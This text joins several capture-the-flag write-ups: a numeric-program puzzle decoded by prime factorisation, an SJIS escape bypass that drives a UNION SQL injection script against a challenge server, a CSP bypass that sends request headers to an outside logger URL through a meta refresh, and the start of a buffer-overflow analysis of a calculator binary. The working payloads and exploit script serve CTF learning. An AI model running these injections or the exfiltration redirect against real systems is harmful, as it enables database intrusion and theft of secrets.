53153028839585503598573550964862568899783340905087121767189848319028823764126564635152182745746588976064614585513882178320384662630419491983556919743035918979272357120571425297548004511661675273618557126654548778343459193970691487722304790664607581194061709590959173879314951330697843870052828316024354166567082187518547658698577696795531130565515421083180252264454883596870044949725930149179966847413679961101162747165984569728196830920577134702664306366364197595517421138209600525104047202300339400088872288316077221656240102231143786257343020802118922926269205047219736723123445530507690137692235730009368553776231094320766355040830168009092017813288396850664476916182018546812944453888512931302160127019704913501725813307841245312731953948196722380163601568492780144962109057602369074555334991621987390374358769710617552391326453785020526405147640026146312997938788804138998232289707025657098750218408744926601492274136339769211112547916354899730071425547372588105403900685731200370521951579349841013973635462586811702994385448941952099615457769200940648360138128946530932948358590141678294540263461985603817191898095061752838756758169435695558894946752558724707225186802024978616855725317670898178008742128975014258782925817349723286317727283132139495271815132726481668557882676887050885378442098538933512778731774361164801103687075162670233525972446022073437141634190995911089958638936702125877258733854190658955211486896795807799247056213685696237168010636560453178295430632262922179196184338010387026042081248735157060332183087380384908870579342268028791502144475517809808520966859616554102946100611417937595977703395161367239525150406899496101767146677522362467244175944639777276553647414851795784699778438111349113652477278343467027323819397269455041625832813112347020033822455376729028165116279358528229084987521170918228041096904599804373545811652965962629163714889427307592378384787948608392935161760512373031943294253135653945376467534645062128214176859177671917924470733170543663095164294078188577644263829357684653992808048115290898706559292435665031983147770618047696164278180114571883909560849919923071788171847093498306550580036114960340160679659003480666374351890273587413582104233093778316851445659944947034432138454639433320133679779403332875832288448336528056715331939264128997610951123085318980941191657450923186786281447594211168439296167068599875424211947381124503574287428653464197183586766917064698969607222676938892700337244499023740021533322407975632591913985176741704511237708175586215484912007730703539347900914569981861379239832893109915816827892646998809604355655684309972455745534857625387871413240766757912260561276872396077870424036155192914575494839379065148798577492895218102356645374808828351190560242930341412752377938339484272418298446253783645567893675139638014454360329933950740656010948440208956227962611495754650589391649847173952559561706238119700416870351183225680846641395695009002342404433610812356666485300887852999615689594544734258696785715335953720841080346734273745462225722854716944440612200907986986761974645226700321349237318729650027840661849263165071729001132412715683532938282372956492101123225224688540919293418074389951077117059370386174729181602053802620109858124680047124580359410149534093848987322604588465223269320290130009628419324527856018953957600035078765304742008540572117322791116024555796432461153651126300748828389259598990206877366444955852954604969428779178082528034059004222296475937635225715400197410351141529356047922229074568209997829979346838932511651507196184691420815697818582222639999405831514378102612043068259534775279462337493896484375000000000000000000000000000000000000000000000000000000000000000000000000000000success=5020973558043690795472466436617612912981186347488363636494918897580345094619354831599150783154458643768824774086684855736649234567349871237720799314877192413924062850078649636850002055053944829186672671708163716322615209049354719596052941417213532076312584086034682854165737646092676148538845676199745010081171006469722614059402250242308785689918241284131648855341488804135227553569275395839797208481228297968911162075439845594462320763237357071166784713446778736264921216635219120279353441051381445681864657026276821922514536569544725327622938331970575312038054498527495497627987060787647164378259819498672242544076388147523885345280342831806880870923391335094231290063505894883622740743763068210341558532266730092057471805710970239830698232092553019009302257534520260356188869212033343552453220921330349478151838282759011653076078016714211215874482198987741235273840751410610227050746299055028652883630584960936757395646616847713407087225242767250411952408673845861387774237778205037416623206011306490376976238654472840823151891585075016585390922891098308045393593571415253634799881795632166478595261694471140226795538975637348108530604584641278570409344858021708185167591243455235623668321570654443319286878417340676933354064642723586253821998813504508098460362918587904912942418728303547539706696690550986778207008561820335924406226344605013700816659534219628975931010285852931303562594784807047348570737396800467230532753148948447635460563997386651374238754668022458990241654392066026389403056595070158613582087349737094737658808886315648062674551872063472621765109045797432205715733767132011793304312274933554077784748964538523889920306652843830639205498914392896052991230020283366189067754757119427529149351327101078032307908260603623126125800088927147739506163527183895257938715531016954102699245294031066253590763425350011991169491433278653398617395440744762010472263802586218941241055055743015914720823242262689467262506542601425806024500357983702028225857710867057862345336237222517523041907324188469202303664776657176177623265573649232807583121306909916426816016755317491385615404780845499430052098612881460431944822161954276179349694442740819075713633944412726802575579188952121635648787756123395044724581329422707259129800369169535652642639801159987649031332406466937818074557103914266685904770137348134689897321542175254693720185576746443281607586987415388428553993232704096407666570219410589863873312494539460705640975599199448114612634267109102407317730904132567388335904394477797328315856196208327128937370947369504646584356343462801435206697336876183024095674551448335131879630403438713907124638478413853269148185567784954639444384365569717712309310955147830166043443238005822635747057545664360288684594697328877448799025973804079099439380682972847878899045536018223183365782765974974091131423937943531681735723827404656800066615668567805386492162335823765656414065284523264752292185725090814264699334921326855584899083371098784162003309739906310772506255393733874274017314112532904577039191591007997878380622798755534627692925758417448816637818373973221551606967096451086316437822279771077272376148121571163290736638931514234910318028624294165025145259063674698090046911948075952284431571943853982442651363186672689212765267770285908709835564485153350230618682629074091170797310328555429502555362409867954701387470139759267436167728204441560324447484705204937156843869157813675957725786241495777896024839838398414785265343398641920748711625568412042688914128968190201059965530908706732754193849067931364670270274047648481440681370096814642988815043774848838838626624938922121096710544680023288597319646570406408354982897201465676769575294628096694930977248824011077321485418818924406431852258175057513393216350344049082542468361410424350720060469598506634455467477484979788747749796354609315723688211379376475460277770530264522516753753687913348610617627180044792600195906279194933087464933773782907713330404447333076666728339988449815215434318007623282986066831788891581783579614726180929544276009541965962239461776447541627074351182275490323828208628197483439346482508248446963369489796326385731064053724062808612872776418445167164620078205714184802118485145759294486622205254314132962840493288591203480571662819511051274785273705020148845879775227997407048971388002158100936213131756838746879763532259763345808459116288029766085022119913164248480557500068314593231088987160279569530688677315004982622289441794353406429725797216878712063025668632142903490923190360349140006080712281827399665057312208935502000825739775748382409547767113303970336836210669133926895235962501629552040586816345650814016614025782130788916609032745001899785992601494105680942665185307812466814213377653431289952318114685582720572586088812989364579521550555538171289271181678410758350157911033362222192696775165760690677062098520936755788225598782659548261103482659701827359313630846363889110910616705120073617014817614569968408898086698115057255739332773912661929818195363021921324903304920137570439912113419361155599656792846430129297557180197243737754764342250277820536833873850512952381832218723730563316514909646802035262898179819524477957536959221311168489498330910004725990255589480473575235173541252809932701389183846177964235287033830925857819001160586184156930429524672516539501165080375924833291345560537459192125694725922302068041992414208055805065909773572571976130403681164189313519334650691350894602614796418772828939871059035015115580766571764509536576557130464695399374994550899074089674240089589432866719236464202233403294885582612550745275632442296172192623564576641486142828317213702576891904379598321939228709403256536312047969623685194330246456663079749586499084220375579316652507872292946875012466482824470432774707250524489619450216896375750616444251664515756466570884810083576309586519141251515118124071845062312157097256288192961806792066900270500521144047770243562264487965415262662776051613168034656779642758114200039168472440692230333077279334828068865916779206390832407497613723856853959754467657674563538356200113237531415811715639082774172579453150559544048837197565500009080784265163136751719074454322189938394735894637025740187989314178929192969601790353384766140549815636197188798439691133630864251539048445431466504628211935886080852752935630094058548912025946009818396075472885206608300233436748206662616807944144796532094594620433469104447555629020079624892194386879122958004893129494842096402682811580537753137281234266545777016470955138841847355634423380012680312487848379430425081882125872830213363022475922799999654579438370854572957242484172090786677950121432476319475502042779427036319762004097420400844853692174042251171285933661004386621015926998839941599937383368984020896260270592470934269224540700618758089646022331731630333468362387499863220719689333769720594951447656934220607389756444636956576624383813057790571838503297531863499031792359610404317936111291681774481991887238261842808901836334223213707711107364485905291532705821130807123125454420222217016446133202332841807820589616482431348754917145101606467632094604680353363557871712551081392926909985237301152861238448196740016300218475973366025567832749173016062387042861194087419952458165039784986962997512974528829545248332349853718708838814455644705761832485931700173130071897488979237327246760914209146081519385108482784142154660288373455889906583829801152124158506717738674619195960806284400917112864093439783694796630478012378864676928266821333294750308467294460965175361532830951966724506606586746876954737693583126883851147396217944080036427834332965580301642572700340135310646747719129141401437460780643498914539005330191345728255970110381137385266964222518724087095866095862614718716057244839384375250846048030470719467935727917893539564429681478585454577297831321858756129328359401791440618517519405327157366260531819490852031046823010869408062657846696435219976461406268554894567770971764444584971135801033696477178443244408796389792415991584094216896934420766505635365939320304110028135204359699782309572808211604994257856468898963160670508388545426450891965355149110111299200922903858711721574257678665591805489566917051248264400361657973441314647767689458266932904273127096255063678875054002411113587425151644025362144946685722667666911552246977486100064975984657109331523076430943145383842843621837003905509584456012817099690437316894531250000000000000000000000000000000000000000000000000000000000000000000
v6=[program[1+(2*i)] for i in xrange(len(program)/2)]v7=[program[(2*i)] for i in xrange(len(program)/2)]
from sympy.ntheory import factorint
fv6=[factorint(i) for i in v6]fv7=[factorint(i) for i in v7]```
gives
```python>>>fv6[{2: 1, 997: 1}, {997: 1, 439: 1}, {3: 1, 997: 1}, {443: 1, 997: 1}, {5: 1, 997: 1}, {449: 1, 997: 1}, {997: 1, 7: 1}, {457: 1, 997: 1}, {11: 1, 997: 1}, {461: 1, 997: 1}, {13: 1, 997: 1}, {997: 1, 463: 1}, {17: 1, 997: 1}, {467: 1, 997: 1}, {19: 1, 997: 1}, {997: 1, 479: 1}, {997: 1, 23: 1}, {997: 1, 487: 1}, {29: 1, 997: 1}, {491: 1, 997: 1}, {997: 1, 31: 1}, {499: 1, 997: 1}, {37: 1, 997: 1}, {997: 1, 503: 1}, {41: 1, 997: 1}, {509: 1, 997: 1}, {43: 1, 997: 1}, {521: 1, 997: 1}, {997: 1, 47: 1}, {523: 1, 997: 1}, {53: 1, 997: 1}, {541: 1, 997: 1}, {59: 1, 997: 1}, {547: 1, 997: 1}, {61: 1, 997: 1}, {557: 1, 997: 1}, {67: 1, 997: 1}, {563: 1, 997: 1}, {997: 1, 71: 1}, {569: 1, 997: 1}, {73: 1, 997: 1}, {571: 1, 997: 1}, {997: 1, 79: 1}, {577: 1, 997: 1}, {83: 1, 997: 1}, {587: 1, 997: 1}, {89: 1, 997: 1}, {593: 1, 997: 1}, {97: 1, 997: 1}, {997: 1, 599: 1}, {101: 1, 997: 1}, {601: 1, 997: 1}, {997: 1, 103: 1}, {997: 1, 607: 1}, {107: 1, 997: 1}, {613: 1, 997: 1}, {109: 1, 997: 1}, {617: 1, 997: 1}, {113: 1, 997: 1}, {619: 1, 997: 1}, {997: 1, 127: 1}, {997: 1, 631: 1}, {131: 1, 997: 1}, {641: 1, 997: 1}, {137: 1, 997: 1}, {643: 1, 997: 1}, {139: 1, 997: 1}, {997: 1, 647: 1}, {149: 1, 997: 1}, {653: 1, 997: 1}, {997: 1, 151: 1}, {659: 1, 997: 1}, {157: 1, 997: 1}, {661: 1, 997: 1}, {163: 1, 997: 1}, {673: 1, 997: 1}, {997: 1, 167: 1}, {677: 1, 997: 1}, {173: 1, 997: 1}, {683: 1, 997: 1}, {179: 1, 997: 1}, {691: 1, 997: 1}, {181: 1, 997: 1}, {701: 1, 997: 1}, {997: 1, 191: 1}, {709: 1, 997: 1}, {193: 1, 997: 1}, {997: 1, 719: 1}, {197: 1, 997: 1}, {997: 1, 727: 1}, {997: 1, 199: 1}, {733: 1, 997: 1}, {211: 1, 997: 1}, {739: 1, 997: 1}, {997: 1, 223: 1}, {997: 1, 743: 1}, {227: 1, 997: 1}, {997: 1, 751: 1}, {229: 1, 997: 1}, {757: 1, 997: 1}, {233: 1, 997: 1}, {761: 1, 997: 1}, {997: 1, 239: 1}, {769: 1, 997: 1}, {241: 1, 997: 1}, {773: 1, 997: 1}, {251: 1, 997: 1}, {787: 1, 997: 1}, {257: 1, 997: 1}, {797: 1, 997: 1}, {997: 1, 263: 1}, {809: 1, 997: 1}, {269: 1, 997: 1}, {811: 1, 997: 1}, {997: 1, 271: 1}, {821: 1, 997: 1}, {277: 1, 997: 1}, {997: 1, 823: 1}, {281: 1, 997: 1}, {827: 1, 997: 1}, {283: 1, 997: 1}, {829: 1, 997: 1}, {293: 1, 997: 1}, {997: 1, 839: 1}, {307: 1, 997: 1}, {853: 1, 997: 1}, {997: 1, 311: 1}, {857: 1, 997: 1}, {313: 1, 997: 1}, {859: 1, 997: 1}, {317: 1, 997: 1}, {997: 1, 863: 1}, {331: 1, 997: 1}, {877: 1, 997: 1}, {337: 1, 997: 1}, {881: 1, 997: 1}, {347: 1, 997: 1}, {883: 1, 997: 1}, {349: 1, 997: 1}, {997: 1, 887: 1}, {353: 1, 997: 1}, {907: 1, 997: 1}, {997: 1, 359: 1}, {997: 1, 911: 1}, {997: 1, 367: 1}, {997: 1, 919: 1}, {373: 1, 997: 1}, {929: 1, 997: 1}, {379: 1, 997: 1}, {937: 1, 997: 1}, {997: 1, 383: 1}, {941: 1, 997: 1}, {389: 1, 997: 1}, {947: 1, 997: 1}, {397: 1, 997: 1}, {953: 1, 997: 1}, {401: 1, 997: 1}, {997: 1, 967: 1}, {409: 1, 997: 1}, {971: 1, 997: 1}, {419: 1, 997: 1}, {977: 1, 997: 1}, {421: 1, 997: 1}, {997: 1, 983: 1}, {997: 1, 431: 1}, {997: 1, 991: 1}, {433: 1, 997: 1}, {1009: 1}, {997: 1}, {641: 1, 619: 1, 797: 1, 773: 1, 929: 1, 577: 1, 521: 1, 523: 1, 653: 1, 941: 1, 911: 1, 823: 1, 947: 1, 643: 1, 739: 1, 661: 1, 953: 1, 857: 1, 883: 1, 541: 1, 673: 1, 977: 1, 547: 1, 811: 1, 677: 1, 809: 1, 647: 1, 557: 1, 827: 1, 743: 1, 683: 1, 563: 1, 821: 1, 919: 1, 439: 1, 631: 1, 569: 1, 607: 1, 571: 1, 769: 1, 701: 1, 1013: 1, 449: 1, 863: 1, 907: 1, 709: 1, 991: 1, 839: 1, 457: 1, 859: 1, 587: 1, 937: 1, 461: 1, 727: 1, 463: 1, 593: 1, 467: 1, 659: 1, 853: 1, 983: 1, 599: 1, 787: 1, 601: 1, 829: 1, 719: 1, 733: 1, 479: 1, 887: 1, 443: 1, 613: 1, 487: 1, 617: 1, 691: 1, 491: 1, 877: 1, 971: 1, 751: 1, 881: 1, 499: 1, 757: 1, 967: 1, 503: 1, 761: 1, 509: 1}, {1013: 1}, {1021: 1}, {2: 76, 1019: 1}, {2: 75, 1019: 1}, {2: 1, 1019: 1}, {3: 70, 1019: 1}, {3: 69, 1019: 1}, {3: 1, 1019: 1}, {1019: 1, 5: 90}, {1019: 1, 5: 89}, {1019: 1, 5: 1}, {1019: 1, 7: 124}, {1019: 1, 7: 123}, {1019: 1, 7: 1}, {11: 41, 1019: 1}, {11: 40, 1019: 1}, {11: 1, 1019: 1}, {1019: 1, 13: 67}, {1019: 1, 13: 66}, {1019: 1, 13: 1}, {17: 122, 1019: 1}, {17: 121, 1019: 1}, {17: 1, 1019: 1}, {19: 33, 1019: 1}, {19: 32, 1019: 1}, {19: 1, 1019: 1}, {1019: 1, 23: 117}, {1019: 1, 23: 116}, {1019: 1, 23: 1}, {1019: 1, 29: 105}, {1019: 1, 29: 104}, {1019: 1, 29: 1}, {1019: 1, 31: 102}, {1019: 1, 31: 101}, {1019: 1, 31: 1}, {1019: 1, 37: 33}, {1019: 1, 37: 32}, {1019: 1, 37: 1}, {41: 120, 1019: 1}, {41: 119, 1019: 1}, {41: 1, 1019: 1}, {43: 98, 1019: 1}, {43: 97, 1019: 1}, {43: 1, 1019: 1}, {1019: 1, 47: 122}, {1019: 1, 47: 121}, {1019: 1, 47: 1}, {1019: 1, 53: 45}, {1019: 1, 53: 44}, {1019: 1, 53: 1}, {59: 33, 1019: 1}, {59: 32, 1019: 1}, {59: 1, 1019: 1}, {1019: 1, 61: 117}, {1019: 1, 61: 116}, {1019: 1, 61: 1}, {67: 105, 1019: 1}, {67: 104, 1019: 1}, {67: 1, 1019: 1}, {1019: 1, 71: 106}, {1019: 1, 71: 105}, {1019: 1, 71: 1}, {73: 116, 1019: 1}, {73: 115, 1019: 1}, {73: 1, 1019: 1}, {1019: 1, 79: 33}, {1019: 1, 79: 32}, {1019: 1, 79: 1}, {83: 100, 1019: 1}, {83: 99, 1019: 1}, {83: 1, 1019: 1}, {89: 105, 1019: 1}, {89: 104, 1019: 1}, {89: 1, 1019: 1}, {97: 98, 1019: 1}, {97: 97, 1019: 1}, {97: 1, 1019: 1}, {1019: 1, 101: 109}, {1019: 1, 101: 108}, {1019: 1, 101: 1}, {1019: 1, 103: 109}, {1019: 1, 103: 108}, {1019: 1, 103: 1}, {107: 102, 1019: 1}, {107: 101, 1019: 1}, {107: 1, 1019: 1}, {1019: 1, 109: 111}, {1019: 1, 109: 110}, {1019: 1, 109: 1}, {113: 104, 1019: 1}, {113: 103, 1019: 1}, {113: 1, 1019: 1}, {1019: 1, 127: 102}, {1019: 1, 127: 101}, {1019: 1, 127: 1}, {131: 33, 1019: 1}, {131: 32, 1019: 1}, {131: 1, 1019: 1}, {137: 120, 1019: 1}, {137: 119, 1019: 1}, {137: 1, 1019: 1}, {139: 112, 1019: 1}, {139: 111, 1019: 1}, {139: 1, 1019: 1}, {1019: 1, 149: 118}, {1019: 1, 149: 117}, {1019: 1, 149: 1}, {1019: 1, 151: 109}, {1019: 1, 151: 108}, {1019: 1, 151: 1}, {1019: 1, 157: 101}, {1019: 1, 157: 100}, {1019: 1, 157: 1}, {163: 33, 1019: 1}, {163: 32, 1019: 1}, {163: 1, 1019: 1}, {1019: 1, 167: 99}, {1019: 1, 167: 98}, {1019: 1, 167: 1}, {1019: 1, 173: 102}, {1019: 1, 173: 101}, {1019: 1, 173: 1}, {179: 33, 1019: 1}, {179: 32, 1019: 1}, {179: 1, 1019: 1}, {1019: 1, 181: 110}, {1019: 1, 181: 109}, {1019: 1, 181: 1}, {1019: 1, 191: 118}, {1019: 1, 191: 117}, {1019: 1, 191: 1}, {193: 100, 1019: 1}, {193: 99, 1019: 1}, {193: 1, 1019: 1}, {1019: 1, 197: 105}, {1019: 1, 197: 104}, {1019: 1, 197: 1}, {1019: 1, 199: 33}, {1019: 1, 199: 32}, {1019: 1, 199: 1}, {211: 102, 1019: 1}, {211: 101, 1019: 1}, {211: 1, 1019: 1}, {1019: 1, 223: 98}, {1019: 1, 223: 97}, {1019: 1, 223: 1}, {227: 116, 1019: 1}, {227: 115, 1019: 1}, {227: 1, 1019: 1}, {1019: 1, 229: 106}, {1019: 1, 229: 105}, {1019: 1, 229: 1}, {233: 102, 1019: 1}, {233: 101, 1019: 1}, {233: 1, 1019: 1}, {1019: 1, 239: 115}, {1019: 1, 239: 114}, {1019: 1, 239: 1}, {241: 33, 1019: 1}, {241: 32, 1019: 1}, {241: 1, 1019: 1}, {251: 120, 1019: 1}, {251: 119, 1019: 1}, {251: 1, 1019: 1}, {257: 106, 1019: 1}, {257: 105, 1019: 1}, {257: 1, 1019: 1}, {1019: 1, 263: 117}, {1019: 1, 263: 116}, {1019: 1, 263: 1}, {1019: 1, 269: 105}, {1019: 1, 269: 104}, {1019: 1, 269: 1}, {1019: 1, 271: 33}, {1019: 1, 271: 32}, {1019: 1, 271: 1}, {1019: 1, 277: 98}, {1019: 1, 277: 97}, {1019: 1, 277: 1}, {281: 33, 1019: 1}, {281: 32, 1019: 1}, {281: 1, 1019: 1}, {283: 100, 1019: 1}, {283: 99, 1019: 1}, {283: 1, 1019: 1}, {1019: 1, 293: 122}, {1019: 1, 293: 121}, {1019: 1, 293: 1}, {307: 99, 1019: 1}, {307: 98, 1019: 1}, {307: 1, 1019: 1}, {1019: 1, 311: 102}, {1019: 1, 311: 101}, {1019: 1, 311: 1}, {313: 115, 1019: 1}, {313: 114, 1019: 1}, {313: 1, 1019: 1}, {1019: 1, 317: 111}, {1019: 1, 317: 110}, {1019: 1, 317: 1}, {331: 102, 1019: 1}, {331: 101, 1019: 1}, {331: 1, 1019: 1}, {337: 117, 1019: 1}, {337: 116, 1019: 1}, {337: 1, 1019: 1}, {347: 106, 1019: 1}, {347: 105, 1019: 1}, {347: 1, 1019: 1}, {1019: 1, 349: 100}, {1019: 1, 349: 99}, {1019: 1, 349: 1}, {353: 33, 1019: 1}, {353: 32, 1019: 1}, {353: 1, 1019: 1}, {1019: 1, 359: 103}, {1019: 1, 359: 102}, {1019: 1, 359: 1}, {1019: 1, 367: 115}, {1019: 1, 367: 114}, {1019: 1, 367: 1}, {1019: 1, 373: 112}, {1019: 1, 373: 111}, {1019: 1, 373: 1}, {379: 104, 1019: 1}, {379: 103, 1019: 1}, {379: 1, 1019: 1}, {1019: 1, 383: 33}, {1019: 1, 383: 32}, {1019: 1, 383: 1}, {1019: 1, 389: 99}, {1019: 1, 389: 98}, {1019: 1, 389: 1}, {1019: 1, 397: 115}, {1019: 1, 397: 114}, {1019: 1, 397: 1}, {401: 98, 1019: 1}, {401: 97, 1019: 1}, {401: 1, 1019: 1}, {409: 106, 1019: 1}, {409: 105, 1019: 1}, {409: 1, 1019: 1}, {419: 111, 1019: 1}, {419: 110, 1019: 1}, {419: 1, 1019: 1}, {1019: 1, 421: 42}, {1019: 1, 421: 41}, {1019: 1, 421: 1}, {1019: 1, 431: 126}, {1019: 1, 431: 125}, {1019: 1, 431: 1}, {433: 1}, {1019: 1}]```
Before every password is fed to the "program", it is multiplied with 1019, so initial part of v6 won't work on dividing. Lets have a look at fv6[172:]. We see primes in increasing order with exponents in order (k,k-1,1) for some k. This looked like something. So I just collected all the exponents and removed the 1's from fv6[172:].
```python>>> a=[76,75,70,69,90,89,124,123,41,40,67,66,122,121,33,32,117,116,105,104,102,101,33,32,120,119,98,97,122,121,45,44,33,32,117,116,105,104,106,105,116,115,33,32,100,99,105,104,98,97,109,108,109,108,102,101,111,110,104,103,102,101,33,32,120,119,112,111,118,117,109,108,101,100,33,32,99,98,102,101,33,32,110,109,118,117,100,99,105,104,33,32,102,101,98,97,116,115,106,105,102,101,115,114,33,32,120,119,106,105,117,116,105,104,33,32,98,97,33,32,100,99,122,121,99,98,102,101,115,114,111,110,102,101,117,116,106,105,100,99,33,32,103,102,115,114,112,111,104,103,33,32,99,98,115,114,98,97,106,105,111,110,42,41,126,125]>>> ''.join(chr(a[(i)]) for i in xrange(len(a)))'LKFEZY|{)(CBzy! utihfe! xwbazy-,! utihjits! dcihbamlmlfeonhgfe! xwpovumled! cbfe! nmvudcih! febatsjifesr! xwjiutih! ba! dczycbfesronfeutjidc! gfsrpohg! cbsrbajion*)~}'>>> ''.join(chr(a[1+(i*2)]) for i in xrange(len(a)/2))'KEY{(By the way, this challenge would be much easier with a cybernetic frog brain)}'>>>```
```bash$ ./05223a3cae8b71d81592d5977fb1c3622bcbf793KEY{(By the way, this challenge would be much easier with a cybernetic frog brain)}Congratulations! Treat yourself to some durians!```
> KEY : KEY{(By the way, this challenge would be much easier with a cybernetic frog brain)} |
Participated as dcua.
## Good Morning (3pt)
The server pretty seem to be decent, but I've wasted a lot of time testing in a local server.
The intended way was to bypass the escape_string() feature, by eating up the escaped character to make one backslash with one quote. (```\\"``` => ```?\"```)
bypassing ```escape_string()``` does not work on an UTF-8 encoding, however server used a SJIS encoding, which has a potential of escape string problems.
```#!/usr/bin/python#-*- coding: utf-8 -*-
from websocket import create_connectionimport jsonimport sys0reload(sys)sys.setdefaultencoding("ISO-8859-1")
INJ = " AND 1=0 UNION SELECT COLUMN_NAME,2,3 FROM INFORMATION_SCHEMA.COLUMNS -- "
# SELECT * FROM answers WHERE question="%s" AND answer="%s"
payload = '¥\u005c'
#ws = create_connection("ws://localhost:5000/ws")ws = create_connection("ws://52.86.232.163:32800/ws")result = ws.recv()
packet = '''{"type":"get_answer","question":"'''+payload+'''","answer":"'''+INJ+'''"}'''print(">>> '%s'" % packet)ws.send(packet)
result = ws.recv()print "<<< '%s'" % resultws.close()```
```>>> '{"type":"get_answer","question":"¥\u005c","answer":" AND 1=0 UNION SELECT TABLE_NAME, COLUMN_NAME, 3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=0x67616e6261747465 LIMIT 1,1 -- "}'<<< '{"type": "got_answer", "row": ["answers", "id", "3"]}'<<< '{"type": "got_answer", "row": ["answers", "question", "3"]}'<<< '{"type": "got_answer", "row": ["answers", "answer", "3"]}'<<< '{"type": "got_answer", "row": null}'
...
>>> '{"type":"get_answer","question":"¥\u005c","answer":" AND 1=0 UNION SELECT id, question, answer FROM answers WHERE id=1 -- "}'<<< '{"type": "got_answer", "row": [1, "flag", "BKPCTF{TryYourBestOnTheOthersToo}"]}'
BKPCTF{TryYourBestOnTheOthersToo}```
## Bug Bounty (3pt)
Sounded more like a XSS challenge at the beginning, but CSP header was blocking to inject inline scripts and send the data back to our serverㄴ.
```Content-Security-Policy: default-src 'none'; connect-src 'self'; frame-src 'self'; script-src 52.87.183.104:5000/dist/js/ 'sha256-KcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto=' 'sha256-u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ=' 'sha256-zArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM=' 'sha256-3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk=' 'sha256-bk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs='; font-src 52.87.183.104:5000/dist/fonts/ fonts.gstatic.com; style-src 52.87.183.104:5000/dist/css/ fonts.googleapis.com; img-src 'self';```
```$ cat inline.txt | openssl dgst -sha256 -binary | openssl base64 # There are 5 hashes in the CSP headerKcMxZjpVxhUhzZiwuZ82bc0vAhYbUJsxyCXODP5ulto= // ?????u++5+hMvnsKeoBWohJxxO3U9yHQHZU+2damUA6wnikQ= // "register user" scriptzArnh0kTjtEOVDnamfOrI8qSpoiZbXttc6LzqNno8MM= // "submit bug" script3PB3EBmojhuJg8mStgxkyy3OEJYJ73ruOF7nRScYnxk= // "show_report" scriptbk9UfcsBy+DUFULLU6uX/sJa0q7O7B8Aal2VVl43aDs= // captcha page script that loads captchas etc```
As we searched for files in ```/dist/js```,
```http://52.87.183.104:5000/dist/js/angular.min.jshttp://52.87.183.104:5000/dist/js/app.jshttp://52.87.183.104:5000/dist/js/angular-route.min.js```
We were able to utilize AngularJS to initiate XSS payloads, but it was still not enough due to the CSP header.
so now what? Just use ```meta``` tag to get the request header, and you see the damn flag.
```<meta http-equiv="refresh" content="0; url=http://yourdomain.com/logger.php" />```
```BKPCTF{choo choo__here comes the flag}```
lol.
## optiproxy (2pt)
Was pretty easy,
```#http://optiproxy.bostonkey.party:5300/source
...
begin if (uri_scheme == "http" or uri_scheme == "https") url = image else url = "http://#{url}/#{image}" end img_data = open(url).read b64d = "data:image/png;base64," + Base64.strict_encode64(img_data) img['src'] = b64d rescue # gotta catch 'em all puts "lole" next end...
```
```<html><body> </body></html>```
```BKPCTF{maybe dont inline everything.}``` |
### Solved by Swappage and superkojiman
simple calc is an x64 ELF Binary exploitation challenge, the objective was to pop a shell and read the flag.
The application starts by printing a welcome message and asking us how many calculations we are planning to do with the program.
0x004013d5 e899ffffff call sym.print_motd 0x00401373() ; sym.print_motd 0x004013da bfd0434900 mov edi, str.Expectednumberofcalculations 0x004013df b800000000 mov eax, 0x0 0x004013e4 e8a76f0000 call sym._IO_printf 0x00408390() ; sym.__printf 0x004013e9 488d45ec lea rax, [rbp-0x14] 0x004013ed 4889c6 mov rsi, rax 0x004013f0 bf14424900 mov edi, 0x494214 0x004013f5 b800000000 mov eax, 0x0 0x004013fa e8c1700000 call sym.__isoc99_scanf
|#------------------------------------#| | Something Calculator | |#------------------------------------#|
Expected number of calculations:
and after a couple of checks, it allocates a number of words equal to the amount of iterations we are planning to make
| 0x00401425 b800000000 mov eax, 0x0 | 0x0040142a e959010000 jmp 0x401588 `--> 0x0040142f 8b45ec mov eax, [rbp-0x14] 0x00401432 c1e002 shl eax, 0x2 0x00401435 4898 cdqe 0x00401437 4889c7 mov rdi, rax 0x0040143a e8113c0100 call sym.__libc_malloc
at this point the applications asks what operation we want to make
Options Menu: [1] Addition. [2] Subtraction. [3] Multiplication. [4] Division. [5] Save and Exit. =>
and based on the operation we chose, it asks for two numbers and performs the operation on them, providing the result to the user and storing it on the heap area that was previously allocated using **malloc()**
chosing the option 5 is where magic happens, because we enter in abranch of code that does the following:
0x0040152e 8b45ec mov eax, [rbp-0x14] 0x00401531 c1e002 shl eax, 0x2 0x00401534 4863d0 movsxd rdx, eax 0x00401537 488b4df0 mov rcx, [rbp-0x10] 0x0040153b 488d45c0 lea rax, [rbp-0x40] 0x0040153f 4889ce mov rsi, rcx 0x00401542 4889c7 mov rdi, rax 0x00401545 e886130200 call sym.memcpy 0x004228d0() ; sym.memcpy 0x0040154a 488b45f0 mov rax, [rbp-0x10] 0x0040154e 4889c7 mov rdi, rax 0x00401551 e87a410100 call sym.free 0x004156d0() ; sym.__cfree 0x00401556 b800000000 mov eax, 0x0 0x0040155b eb2b jmp 0x401588
Essentially what happens here is that
- the area of memory allocated in the heap is copied on the stack using **memcpy()**- then free() is called- finally the main() function returns.
But since there is no boundary check, if we allocate a big enough chunk of memory on the heap, when memcpy() is invoked what happens is that the stack is smashed badly; plus with the fact that by doing arbitrary math operations we can chose what goes on the heap, this means we can overwrite saved registers values on the stack with arbitrary addresses, resulting in a control of the instruction pointer.
As we can see in the following memory dumps of the heap and stack
gdb-peda$ x/32wx 0x725bd0 0x725bd0: 0x41414141 0x41414142 0x41414143 0x41414144 0x725be0: 0x41414145 0x41414146 0x41414147 0x41414148 0x725bf0: 0x41414149 0x4141414a 0x4141414b 0x4141414c 0x725c00: 0x4141414d 0x00000000 0x00000000 0x00000000 0x725c10: 0x00000000 0x00000000 0x00000000 0x00000000 0x725c20: 0x00000000 0x00000000 0x00000000 0x00000000 0x725c30: 0x00000000 0x00000000 0x00000000 0x00000000 0x725c40: 0x00000000 0x00000000 0x00000000 0x00000000
